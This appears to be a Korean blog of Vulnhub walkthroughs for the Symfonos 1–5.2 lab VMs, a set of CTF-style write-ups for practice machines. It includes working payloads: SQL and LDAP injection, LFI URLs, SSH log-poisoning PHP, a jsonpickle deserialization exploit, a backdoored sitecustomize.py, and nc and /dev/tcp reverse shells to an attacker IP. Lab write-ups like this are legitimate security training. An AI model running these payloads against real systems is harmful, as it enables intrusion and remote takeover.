https://www.vulnhub.com/entry/symfonos-52,415/

 

symfonos: 5.2

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

 

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetSubScan
Nmap scan report for 192.168.45.60
Host is up (0.00041s latency).
MAC Address: 08:00:27:C2:E4:B6 (Oracle VirtualBox virtual NIC)

ldap, lapssl -> 처음 시도해보는 공격이 있을것으로 예상되네요!

 

HTTP

nikto, dirb, gobuster 툴을 이용해 디렉터리 브루트포싱 및 웹 잠재적 취약점 진단 실시

 

/home.php 로 접속시, /admin.php로 리디렉션

특이점으로 주소창에 파라미터를 표시하고 있음

 

LDAP

# ldap
dc=symfonos,dc=local

 

Vulnerability

웹에서 주소창에 파라미터를 표시해주고있으니, SQL Injection 공격을 시도해보기 위해서  wfuzz 툴을 이용한다

wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -u "http://192.168.45.60/admin.php?username=FUZZ&password=FUZZ"

 

출력 결과물로 로그인을 시도해봤는데, SQLi로는 로그인이 안되서 혹시 ldap으로 로그인을 하나 싶어서 

ldap Injection payload를 깃허브에서 가져와서 파일로 만들어 페이로드를 사용하였습니다.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection

 

LDAP Injection에 성공했습니다. 페이지 소스를 확인해보니, 특이한 링크가 하나 있네요

LFI 를 시도하면 성공할 것같은 느낌이 솔솔 나죠??

LDAP Injection에 이어 LFI로 연계 공격을 성공했습니다. 혹시 몰라서 admin.php의 소스코드를 확인해봤는데요

주석 처리된 ldap의 정보가 보이는 것을 확인할 수 있습니다. 이를 이용해서 대상 호스트로 초기 침투 해보겠습니다

# ldap

"cn=admin,dc=symfonos,dc=local"
"qMDdyZh3cT6eeAWD"
"dc=symfonos,dc=local"

 

Exploitation

ldap에 대한 도메인 정보를 파악했으니, ldapsearch 툴을 이용해서 모든 정보를 추출해보겠습니

ldapsearch -x -H ldap://192.168.45.60 -D 'cn=admin,dc=symfonos,dc=local' -w qMDdyZh3cT6eeAWD -b 'dc=symfonos,dc=local'

나중에 내부망 모의해킹할때 도움이 많이 될거같습니다. 

admin에 대한 userPassword가 있는데요 base64로 인코딩된거같습니다. 디코딩 후에 나온 값이 뭔지 검색해보니 openladp에서 비밀번호를 암호화하는 알고리즘을 이용해서 암호화된 비밀번호입니다!

 

 

이건 zeus 유저의 비밀번호 입니다

# credentials

zeus:cetkKf4wCuHC9FET

대상 호스트에 초기 침투에 성공했습니다 

Privilege Escalation

zeus 유저로 초기 침투에 성공했고 이제 권한 상승을 진행해보겠습니다

/etc/sudoers에 NOPASSWD 설정된 바이너리가 하나 있네요

dpkg를 통해서 권한상승을 진행합니다

 

이러한 화면이 뜨는데요 여기서 !/bin/bash를 입력해줍니다

권한 상승 완료

추가적으로 정보 수집한 내용은 대상 호스트는 docker 컨테이너 환경에서 웹 서버와 ldap 서버를 실행시키고 있었고, 대상 호스트에서는 /var/www/html 경로가 없고 폐쇄된 컨테이너 환경에 접속을 해서 확인을 했습니다

root@symfonos5:~# cat proof.txt
 
                    Congrats on rooting symfonos:5!
  
                                   ZEUS
              *      .            dZZZZZ,       .          *
                                 dZZZZ  ZZ,
     *         .         ,AZZZZZZZZZZZ  `ZZ,_          *
                    ,ZZZZZZV'      ZZZZ   `Z,`\
                  ,ZZZ    ZZ   .    ZZZZ   `V
        *      ZZZZV'     ZZ         ZZZZ    \_              .
.              V   l   .   ZZ        ZZZZZZ          .
               l    \       ZZ,     ZZZ  ZZZZZZ,
   .          /            ZZ l    ZZZ    ZZZ `Z,
                          ZZ  l   ZZZ     Z Z, `Z,            *
                .        ZZ      ZZZ      Z  Z, `l
                         Z        ZZ      V  `Z   \
                         V        ZZC     l   V
           Z             l        V ZR        l      .
            \             \       l  ZA
                            \         C          C
                                  \   K   /    /             K
                          A    \   \  |  /  /              /
                           \        \\|/ /  /
   __________________________________\|/_________________________
            Contact me via Twitter @zayotic to give feedback!

'Vulnhub' 카테고리의 다른 글

[Vulnhub] djinn Walkthrough  (0) 2024.07.11
[Vulnhub] Sar Walkthrough  (0) 2024.07.09
[Vulnhub] Symfonos: 4 Walkthrough  (0) 2024.07.07
[Vulnhub] Symfonos: 3.1 Walkthrough  (0) 2024.07.05
[Vulnhub] Symfonos: 2 Walkthrough  (0) 2024.07.04

https://www.vulnhub.com/entry/symfonos-4,347/

 

symfonos: 4

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetSubScan
Nmap scan report for 192.168.45.100
Host is up (0.00051s latency).
MAC Address: 08:00:27:A0:21:BA (Oracle VirtualBox virtual NIC)

 

WEB

gobuster 툴을 이용한 디렉터리 브루트포싱 진행

흥미로운 /gods 디렉터리 경로 획득

실제 하데스에 관한 얘기가 적혀있네요 나머지도 마찬가지 입니다.

robots.txt는 Forbidden Error 가 발생했네요

php, html, txt 확장자를 넣어서 발견한 엔드포인트, sea.php로 접속시에는  atlantis.php 로 리다이렉션 되는 것을 확인할 수 있습니다

로그인 정보가 하나도 없으니 SQL Injection이 가능한지 체크해보겠습니다.

 

Vulnerability

username : admin'or'1'='1
password: 123

로그인에 성공했습니다. 로그인에 성공하니 sea.php로 접속이 되는 군요

이렇게 신을 선택하면 file 파라미터와 함께 파일이 뜨는데 Path Traversal을 이용해서 /etc/passwd을 읽을 수 있는지 확인하고 LFI가 가능한지 확인해봅니다

 

딱히 동작하지 않는데요

wfuzz툴 를 사용하여 다시 진행해보겠습니다. 그 전에 wfuzz wordlist 를 찾아야하는데 

https://raw.githubusercontent.com/whiteknight7/wordlist/main/jhaddix-lfi.txt 이 파일을 wget을 이용해서 다운 받아서 사용했습니다

 

word가 39W가 뜨는데 필터링 해서 다시 진행합니다.

wfuzz -c -b 'PHPSESSID=bcuj3523vnkbni26hfjflv2la1' -w /home/kali/vulnhub/symfonos4/jhaddix-lfi.txt --hc 404 --hw 39 http://192.168.45.100/sea.php?file=../../../../../FUZZ

/var/log/auth

하나 경로가 뜨네요,, log 인것을 보니 대상호스트에 열려있는 ssh 로그에 관련된 것이지 않을까 싶습니다

아무 계정으로 로그인해서 로그가 찍히는지 확인해보겠습니다

└─$ ssh logintest@192.168.45.100

잘 찍히네요

 

우선 웹사이트는 php로 구성되어있습니다, 그리고 LFI 가 가능합니다.

1. 사용자 이름을 system() 함수를 사용하여 RCE 할 수 있는 코드로 로그인을 시도한다.

2. 로그파일에 php 코드가 남아있다면, 새로운 파라미터를 추가해 리버스쉘을 획득 할 수 있을 것이다

 

Exploitation

https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/

이제부터 할 익스플로잇은 LFI를 이용한 SSH 포이즈닝을 통한 RCE 입니다. 위 사이트를 참고하시면 좋을 듯합니다

 

ssh 버전이 패치되면서 코드같은 문자열을 사용하면 안되는거 같아서 base64로 진행해봤는데, 뭔가 딱히 RCE가 정상적으로 실행되지 않아서, metasploit 툴을 이용하여 진행하겠습니다

 

└─$ msfconsole -q
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   CreateSession     true             no        Create a new session for every successful login
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ssh/ssh_login) > set username <?php system($_GET["c"]); ?>
username => <?php system($_GET[c]); ?>
msf6 auxiliary(scanner/ssh/ssh_login) > set password 1234
password => 1234
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.45.100
rhosts => 192.168.45.100
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

로그에 정상적으로 잘 찍힙니다. 이제 리버스쉘을 획득하러 가야합니다

└─$ nc -nlvp 9999          
listening on [any] 9999 ...


# Reverse Shell Code
nc 192.168.45.219 9999 -e /bin/sh

# DB Credentials

root:yVzyRGw3cG2Uyt2r

 

 

그리고 포세이돈 유저가 있습니다. 혹시나 하는 마음에 위에서 얻은 비밀번호로 로그인해봅니다

이게... 되네요??

 

Privilege Escalation

포세이돈을 보면 많은 그룹에 속해 있는것으로 보아, 권한이 좀 많은 것을 예상할 수 있습니다

음 8080 이 있네요? ssh 터널링해보겠습니다

쿠키를 확인해보니 base64로 인코딩되어있는 코드를 발견,

 

그리고 파이썬으로 웹서버를 실행하고 있는 gunicorn 이 있습니다.

/opt/code 로 들어가봅시다

poseidon@symfonos4:/opt/code$ cat app.py                                                                                                                     
from flask import Flask, request, render_template, current_app, redirect                                                                                     
                                                                                                                                                             
import jsonpickle             
import base64

app = Flask(__name__)

class User(object):

    def __init__(self, username):
        self.username = username


@app.route('/')
def index():
    if request.cookies.get("username"): 
        u = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
        return render_template("index.html", username=u.username)
    else:
        w = redirect("/whoami")
        response = current_app.make_response(w)
        u = User("Poseidon")
        encoded = base64.b64encode(jsonpickle.encode(u))
        response.set_cookie("username", value=encoded)
        return response


@app.route('/whoami')
def whoami():
    user = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
    username = user.username
    return render_template("whoami.html", username=username)

if __name__ == '__main__':
    app.run()

플라스크로 이루어진 웹 사이트 입니다.

 

jsonpickle을 사용하면 직렬처리되서 어플리케이션으로 전달되는데 악성코드를 주입하면 이 코드가 그대로 다시 전달되서 관리자 권한의 쉘을 획득할 수 있다고 합니다

 

그래서 bash 쉘 바이너리를 /tmp 디렉터리로 복사해온 다음, suid sticky bit 설정을 해주는 코드를 만들어 base64로 인코딩한 출력된 쿠키 값을 웹사이트에 넣어 변조를 한 다음, 변조된 bash 쉘의 바이너리가 /tmp 디렉터리에 만들어지면 그것을 악용하여 관리자 쉘을 얻어 낼 것입니다. 아래의 코드가 그것입니다.

#/usr/bin/python
import jsonpickle, os, base64

class E(object):
    def __reduce__(self):
        return(os.system,("cp /bin/bash /tmp/priv; chmod +s /tmp/priv",))

print(base64.b64encode(jsonpickle.encode(E())))



poseidon@symfonos4:/tmp$ python exploit.py 
eyJweS9yZWR1Y2UiOiBbeyJweS9mdW5jdGlvbiI6ICJwb3NpeC5zeXN0ZW0ifSwgeyJweS90dXBsZSI6IFsiY3AgL2Jpbi9iYXNoIC90bXAvcHJpdjsgY2htb2QgK3MgL3RtcC9wcml2Il19XX0=

즉 cp /bin/bash /tmp/priv; chmod +s /tmp/priv 이러한 명령을 실행하는 것을 base64로 인코딩해, jsonpickle의 vulnability를 이용하여 관리자 쉘을 획득하는 것이죠

변조된 쿠키값을 삽입하면 내부적인 서버 에러가 발생하는데, 괜찮습니다. 정상적인 결과이고 /tmp 디렉터리를 보면 suid sticky bit가 설정된 priv 이름의 /bin/bash가 있겠죠?? 

권한 상승 완료

 

priv-5.0# cat proof.txt 

        Congrats on rooting symfonos:4!
 ~         ~            ~     w   W   w
                    ~          \  |  /       ~
        ~        ~        ~     \.|./    ~
                                  |
                       ~       ~  |           ~
       o        ~   .:.:.:.       | ~
  ~                 wwWWWww      //   ~
            ((c     ))"""((     //|        ~
   o       /\/\((  (( 6 6 ))   // |  ~
          (d d  ((  )))^(((   //  |
     o    /   / c((-(((')))-.//   |     ~
         /===/ `) (( )))(( ,_/    |~
  ~     /o o/  / c((( (()) |      |  ~          ~
     ~  `~`^  / c (((  ))  |      |          ~
             /c  c(((  (   |  ~   |      ~
      ~     /  c  (((  .   |      |   ~           ~
           / c   c ((^^^^^^`\   ~ | ~        ~
          |c  c c  c((^^^ ^^^`\   |
  ~        \ c   c   c(^^^^^^^^`\ |    ~
       ~    `\ c   c  c;`\^^^^^./ |             ~
              `\c c  c  ;/^^^^^/  |  ~
   ~        ~   `\ c  c /^^^^/' ~ |       ~
         ~        `;c   |^^/'     o
             .-.  ,' c c//^\\         ~
     ~      ( @ `.`c  -///^\\\  ~             ~
             \ -` c__/|/     \|
      ~       `---'   '   ~   '          ~
 ~          ~          ~           ~             ~
        Contact me via Twitter @zayotic to give feedback!

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Sar Walkthrough  (0) 2024.07.09
[Vulnhub] Symfonos: 5.2 Walkthrough  (0) 2024.07.08
[Vulnhub] Symfonos: 3.1 Walkthrough  (0) 2024.07.05
[Vulnhub] Symfonos: 2 Walkthrough  (0) 2024.07.04
[Vulnhub] Symfonos Walkthrough  (0) 2024.07.03

https://www.vulnhub.com/entry/symfonos-3,332/

 

symfonos: 3.1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetScan
Nmap scan report for 192.168.45.245
Host is up (0.00049s latency).
MAC Address: 08:00:27:5D:EC:63 (Oracle VirtualBox virtual NIC)

 

FTP

anonymous login failed

 

 

HTTP

<!-- Can you bust the underworld? -->

one more directory brutefocing..

 

found new endpoint /cerberus

 

 

using dirb

음....딱히 흥미가 끌리지 않아서 다시 처음으로 돌아가 이번엔 gate 디렉터리가 아닌 다른 디렉터리를 확인해볼까요

 

버프스위트에서 확인했습니다 새로고침할때 마다 시간이 바뀌는데 cmd 에서 uptime 한 명령어와 동일한 출력이 나오는 것을 확인할 수 있습니다

 

cgi-bin 밑에서 실행되고 있는 명령어에 대해서 취약점 분석을 한번 해보겠습니다

 

Vulnerability

cgi 스크립트가 실행되는 디렉터리에 접속을 했고, uptime 이라는 명령어를 실행하는 것을 파악, 그렇다면 ShellShock에 대한 취약점을 파악하기 위해 Nmap을 사용한다

 

ShellShock는 유닉스 기반 운영체제에서 널리 사용되는 Bash 명령 줄 셸에 영향을 주는 취약점이다.

취약점이 발견되었다. CVE-2014-6271 코드를 가지고 있는 shellshock 취약점이다. 

user-agent 부분에 아래와 같은 코드를 넣어 취약점을 파악했다 

개념 증명용 대상 호스트의 /etc/passwd 파일이다.

 

 

Exploitation

Remote Code Execution이 가능하다는 취약점을 파악했고, 다른 시도 없이 빠르게 리버스쉘을 획득하여 대상 호스트로 접근하여 추가적인 후속 정보 수집을 통해 권한 상승까지 시도한다.

우선 현재 대상 호스트에서 사용하고 있는 쉘이 어떤 쉘인지 파악한다

이 방법도 있지만 다른 명령어를 이용하여 쓰는 방법도 있는데, 그 명령어를 사용하면 에러에 대해서는 출력이 안된다 

그것을 출력하기 위해서 2>&1를 이용하여 stderr를 화면에 출력해주면 정상적으로 뜰 것이다.

 

 

다음 코드는 bash 쉘을 이용하여 리버스쉘을 획득할 수 있는 코드다.

/bin/bash -i >& /dev/tcp/<Kali IP>/<Port> 0>&1


# netcat listening
└─$ nc -nlvp 7777
listening on [any] 7777 ...

 

대상 호스트 초기 침투 완료

 

Privilege Escalation

id 명령어를 쳤을때 pcap 을 확인할 수 있다. wireshark를 쓸때 pcap 파일을 확인할 수 있었는데, 네트워크 관련해서 뭔가 정보를 수집할 수 있지 않을까..? 대상 호스트 localhost를 확인해야 하기 때문에 tcpdump 명령어를 이용하여 트래픽을 덤프한다음 Kali로 파일을 옮겨서 확인해보자

└─$ wireshark file.pcap

와이어샤크를 통해서 ftp 서버의 hades 유저의 비밀번호를 획득했습니다.

# credentials

hades:PTpZTfU4vxgzvRBE

ftp 서버에 접속해 확인해봤는데, 그냥 hades의 홈디렉터리가 떠서 SSH 접속을 해봅니다

hades는 hades 그룹과 gods 그룹에 있는것을 확인

 

find 명령어로 파일을 찾아보다가 gods 그룹으로 그룹 쓰기 가능한 파일을 활용할 만할것을 찾다가 아래의 파일을 발견해했다.

hades@symfonos3:~$ cat /etc/python2.7/sitecustomize.py
# install the apport exception handler if available
try:
    import apport_python_hook
except ImportError:
    pass
else:
    apport_python_hook.install()

코드는 이렇게 구성되어있으며 mkfifo을 이용한 리버스쉘을 획득하기 위해 익스플로잇 코드를 수정한 후에 파이썬을 실행한다

# install the apport exception handler if available
import os

try:
    import apport_python_hook
except ImportError:
    os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.219 9999 >/tmp/f")
else:
    apport_python_hook.install()

아래와 같이 관리자 권한을 가진 리버스쉘을 획득

 

 

# cat proof.txt

        Congrats on rooting symfonos:3!
                                        _._
                                      _/,__\,
                                   __/ _/o'o
                                 /  '-.___'/  __
                                /__   /\  )__/_))\
     /_/,   __,____             // '-.____|--'  \\
    e,e / //  /___/|           |/     \/\        \\
    'o /))) : \___\|          /   ,    \/         \\
     -'  \\__,_/|             \/ /      \          \\
             \_\|              \/        \          \\
             | ||              <    '_    \          \\
             | ||             /    ,| /   /           \\
             | ||             |   / |    /\            \\
             | ||              \_/  |   | |             \\
             | ||_______________,'  |__/  \              \\
              \|/_______________\___/______\_             \\
               \________________________     \__           \\        ___
                  \________________________    _\_____      \\ _____/
                     \________________________               \\
        ~~~~~~~        /  ~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~ ~~~~\\~~~~
            ~~~~~~~~~~~~~~    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~    //

        Contact me via Twitter @zayotic to give feedback!

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Symfonos: 5.2 Walkthrough  (0) 2024.07.08
[Vulnhub] Symfonos: 4 Walkthrough  (0) 2024.07.07
[Vulnhub] Symfonos: 2 Walkthrough  (0) 2024.07.04
[Vulnhub] Symfonos Walkthrough  (0) 2024.07.03
[Vulnhub] Prime: 1 Walkthrough  (0) 2024.06.29

https://www.vulnhub.com/entry/symfonos-2,331/

 

symfonos: 2

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

실습 환경 : VirtualBox

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetScan

Nmap scan report for 192.168.45.209
Host is up (0.00027s latency).
MAC Address: 08:00:27:10:C3:97 (Oracle VirtualBox virtual NIC)

└─$ cat ./recon/targetScan.gnmap | grep '209' | awk '{ print $2}'    
192.168.45.209

 

FTP

ProFTPD 1.3.5 버전인 것을 확인, 접속 해본다

다른 곳에서 얻은 정보를 통해서 접속할 수도 있으니 일단 진행한다

 

HTTP

웹 이니만큼 접속해서 정보 수집을 한다

 

gobuster를 이용한 디렉터리 브루트포싱 진행

정말,,별거 없군요.. 이번에는 뭔가 SMB와 FTP를 이용해서 취약점 진단과 익스플로잇을 해야할 것 같은 느낌입니다

 

Vulnerability

 

이전에는 enum4linux를 이용했는데 이번에는 cme(crackmapexec)를 통해서 anonymous 로그인이 가능한지 확인해봤습니다

anonymous share로 로그인이 가능하네요

 

접속하기전 그래도 enum4linux 돌려봐야겠죠?

# smb user

aeolus
cronus

└─$ cat log.txt                                                                                                                                              
root@symfonos2:~# cat /etc/shadow > /var/backups/shadow.bak                   
root@symfonos2:~# cat /etc/samba/smb.conf

....
root@symfonos2:~# cat /usr/local/etc/proftpd.conf

혹시 LFI가 가능하다면 /var/backups/shadow.bak  경로를 통해 /etc/shadow 를 읽을 수 있으니 해시크래킹을 해야할 수도 잇겠습니다.

smb설정파일, ftp 설정파일이 다있네요

smb 기본 경로 입니다.

 

ftp user&group 입니다

 

그렇다면 비밀번호를 알아야하는데 hydra를 이용하여 비밀번호 브루트포싱을 진행한다

 

Exploitation

 

브루트포싱을 진행 하던 도중 ftp 버전을 다시 봤다  ProFTPD 1.3.5 이전에 했던 ctf에서 이 취약점을 이용해서 썻던 기억이 있다. 그래서 서칭을 하던 도중 CVE-2015-3306 코드를 가지고 있는 공개 취약점이 있다는 사실을 파악.

 

https://github.com/t0kx/exploit-CVE-2015-3306

 

# credentials

aeolus:sergioteamo

 

비밀번호를 입력해서 들어갔지만 smb와 똑같은 파일이다... 그렇다면 ProFTPD 1.3.5 의 취약점인 CVE-2015-3306를 이용하여 대상 호스트로 침투를 준비한다

 

ProFTPD 1.3.5의 모듈 mod_copy는 site cpfr 및 site cpto 명령을 통해 임의의 파일을 읽고 쓸 수 있도록 한다.

기본적으로 복사 명령은 ProFTPD 서비스의 권한으로 실행, nobody 사용자의 권한으로 실행된다

 

한번 시도해본다

이 방법을 사용해서 얻은 shadow 파일에 있는 해시를 복호화 하면 아래와 같은 결과가 나온다.

aeolus:sergioteamo

 

ssh로 접근해본다

 

 

Post-Exploitation

별다른 것이 없어.. linpeas.sh 스크립트를 오랜만에 이용한다

3306 8080 그리고 25 나 몰래 많이 돌리고 있었구나,.,

 

일단 8080으로 접속해봅니다

외부에서는 접속이 안되는 것으로 보아 로컬에서만 접속이 가능한듯하다

 

이런 경우 터널링이라는 기법을 사용한다 SSH로 칼리의 특정 포트를 대상 호스트의 특정 포트로 포워딩 시켜주는 것을 말한다

-L 칼리포트:대상 호스트 IP:포트 를 넣으면 된다

 

공격자PC에서 127.0.0.1:3333을 지정하면 대상 호스트의 8080포트로 포워딩 된다

로그인 할 수 있는 창이 뜬다. 내가 아는 계정 정보는 하나밖에 없다!

나이스다!!

 

내가 사용할 취약점은 47044.py 이다 

코드를 보니 리버스쉘을 얻는 것 같아서 nc를 이용하여 리스닝도 해준다

└─$ nc -nlvp 7777                                 
listening on [any] 7777 ...


└─$ python2 47044.py 
[!] Usage : ./exploit.py http://www.example.com cookies rhost rport

쿠키 값이 필요하다고 한다

3개 모두 복사해서 정리해준다

cookies 값들을 넣어줄때 띄어쓰기나 줄 바꿈에 주의해서 작성하면된다.

cronus 계정으로 리버스쉘 획득

 

Privilege Escalation

GTFObins 사이트를 참고해서 권한 상승을 진행습니다!

root@symfonos2:~# cat proof.txt
cat proof.txt

        Congrats on rooting symfonos:2!

           ,   ,
         ,-`{-`/
      ,-~ , \ {-~~-,
    ,~  ,   ,`,-~~-,`,
  ,`   ,   { {      } }                                             }/
 ;     ,--/`\ \    / /                                     }/      /,/
;  ,-./      \ \  { {  (                                  /,;    ,/ ,/
; /   `       } } `, `-`-.___                            / `,  ,/  `,/
 \|         ,`,`    `~.___,---}                         / ,`,,/  ,`,;
  `        { {                                     __  /  ,`/   ,`,;
        /   \ \                                 _,`, `{  `,{   `,`;`
       {     } }       /~\         .-:::-.     (--,   ;\ `,}  `,`;
       \\._./ /      /` , \      ,:::::::::,     `~;   \},/  `,`;     ,-=-
        `-..-`      /. `  .\_   ;:::::::::::;  __,{     `/  `,`;     {
                   / , ~ . ^ `~`\:::::::::::<<~>-,,`,    `-,  ``,_    }
                /~~ . `  . ~  , .`~~\:::::::;    _-~  ;__,        `,-`
       /`\    /~,  . ~ , '  `  ,  .` \::::;`   <<<~```   ``-,,__   ;
      /` .`\ /` .  ^  ,  ~  ,  . ` . ~\~                       \\, `,__
     / ` , ,`\.  ` ~  ,  ^ ,  `  ~ . . ``~~~`,                   `-`--, \
    / , ~ . ~ \ , ` .  ^  `  , . ^   .   , ` .`-,___,---,__            ``
  /` ` . ~ . ` `\ `  ~  ,  .  ,  `  ,  . ~  ^  ,  .  ~  , .`~---,___
/` . `  ,  . ~ , \  `  ~  ,  .  ^  ,  ~  .  `  ,  ~  .  ^  ,  ~  .  `-,

        Contact me via Twitter @zayotic to give feedback!

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Symfonos: 4 Walkthrough  (0) 2024.07.07
[Vulnhub] Symfonos: 3.1 Walkthrough  (0) 2024.07.05
[Vulnhub] Symfonos Walkthrough  (0) 2024.07.03
[Vulnhub] Prime: 1 Walkthrough  (0) 2024.06.29
[Vulnhub] Digitalworld.local: Joy Walkthrough  (0) 2024.06.27

https://www.vulnhub.com/entry/symfonos-1,322/

 

symfonos: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

실습 환경 : VirtualBox

 

실습 전에  칼리에서 /etc/hosts 파일에 대상 호스트IP와 symfonos.local를 추가해주었습니다

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetAll

Nmap scan report for 192.168.45.166
Host is up (0.00032s latency).
MAC Address: 08:00:27:A6:F8:74 (Oracle VirtualBox virtual NIC)

└─$ cat ./recon/targetAll.nmap | grep '166' | cut -d '(' -f 2 | tr -d ')'
192.168.45.166

 

SSH

SSH 로그인 시도했을 떄 별다른 특이사항 없음

 

 

SMTP

 

 

WEB

직접 접속한다

페이지 소스 및 robots.txt는 별다른 특이사항 없음

 

gobuster를 이용한 디렉터리 브루트포싱 진행

디렉터리 브루트포싱에서도 큰 힌트를 얻지 못함. 일단 smb 정보 수집도 진행한 후에 다시 종합해서 취약점을 찾는다

 

 

SMB

 

enum4linux를 이용한 정보 수집

anonymous 세션 접근 가능

NULL share 사용, 비밀번호 정책에 대한 정보

 

helios 유저 사용 가능

 

 

anonymous share 접근 가능

# passwords information

epidioko
qwerty
baseball

# found credentials

helios:qwerty

/h3l105 경로에 대한 정보 획득

 

 

 

Vulnerability

숨겨진 경로에 wordpress를 운영중인 것으로 확인

wpscan을 이용하여 취약점 진단

└─$ sudo wpscan --url http://symfonos.local/h3l105/  --enumerate p, vp, ap, u | tee ./vuln/wpscan_res

admin 유저 정보

 

플러그인 정보 획득

 

searchsploit을 이용해 취약점을 찾아본다

두 플러그인 모두 취약점이 존재하는 것으로 확인

 

Exploitation

wordpress site editor 1.1.1 의 LFI 취약점을 이용하여 진행

CVE-2018-7422 공개 취약점 코드를 가지고 있다

└─$ searchsploit -m 44340 .


** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd



# Exploit
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

 

postfix가 있는 것을 확인 smtp를 이용하여 대상 호스트로 침투 한다

 

nc 명령어를 이용하여 smtp 서버에 접근

helios 유저에게 메일을 보내고 /var/mail/helios 에서 확인해본다

 

# exploit
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios

정상적으로 메일이 간것을 확인했다.

그렇다면 php 코드가 들어갔을 테니 익스플로잇 코드 마지막 부분에 이미 ?ajax_path= 파라미터가 있으니 

추가적인 파라미터를 사용하기 위해서 &cmd= 를 붙여서 사용한다

 

익스플로잇 성공

이후 리버스 쉘을 얻기 위해서 코드 하나를 작성해서 넣는다 

revshells.com 사이트를 참고해 nc 명령어를 이용한다

# reverse shell listening
└─$ nc -nlvp 7777             
listening on [any] 7777 ...



?ajax_path=/var/mail/helios&cmd=nc 192.168.45.219 7777 -e /bin/bash

 

 

Priviliege Escalation

wp-config.php

 

SUID binary 

helios@symfonos:/var/www/html/h3l105$ file /opt/statuscheck
file /opt/statuscheck
/opt/statuscheck: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4dc315d863d033acbe07b2bfc6b5b2e72406bea4, not stripped

ELF 파일이고,,

curl에 대한 것이 적혀있다

 

1. curl 이름을 가진 파일을 만들어준다

2. curl 파일에 setuid 설정을 해준다

3. 작업 디렉터리는 /tmp 인데 /opt/statuscheck은 curl 명령어를 실행하는 듯 하니, curl을 환경변수 설정을 해준다

 

/tmp 디렉터리 자체에 환경 변수 처리를 했으니 어디서든지 실행이 가능해진다

 

다시 한번 suid 설정된 바이너리를 실행해본다

 

권한 상승 완료

 

        Congrats on rooting symfonos:1!

                 \ __
--==/////////////[})))==*
                 / \ '          ,|
                    `\`\      //|                             ,|
                      \ `\  //,/'                           -~ |
   )             _-~~~\  |/ / |'|                       _-~  / ,
  ((            /' )   | \ / /'/                    _-~   _/_-~|
 (((            ;  /`  ' )/ /''                 _ -~     _-~ ,/'
 ) ))           `~~\   `\\/'/|'           __--~~__--\ _-~  _/, 
((( ))            / ~~    \ /~      __--~~  --~~  __/~  _-~ /
 ((\~\           |    )   | '      /        __--~~  \-~~ _-~
    `\(\    __--(   _/    |'\     /     --~~   __--~' _-~ ~|
     (  ((~~   __-~        \~\   /     ___---~~  ~~\~~__--~ 
      ~~\~~~~~~   `\-~      \~\ /           __--~~~'~~/
                   ;\ __.-~  ~-/      ~~~~~__\__---~~ _..--._
                   ;;;;;;;;'  /      ---~~~/_.-----.-~  _.._ ~\     
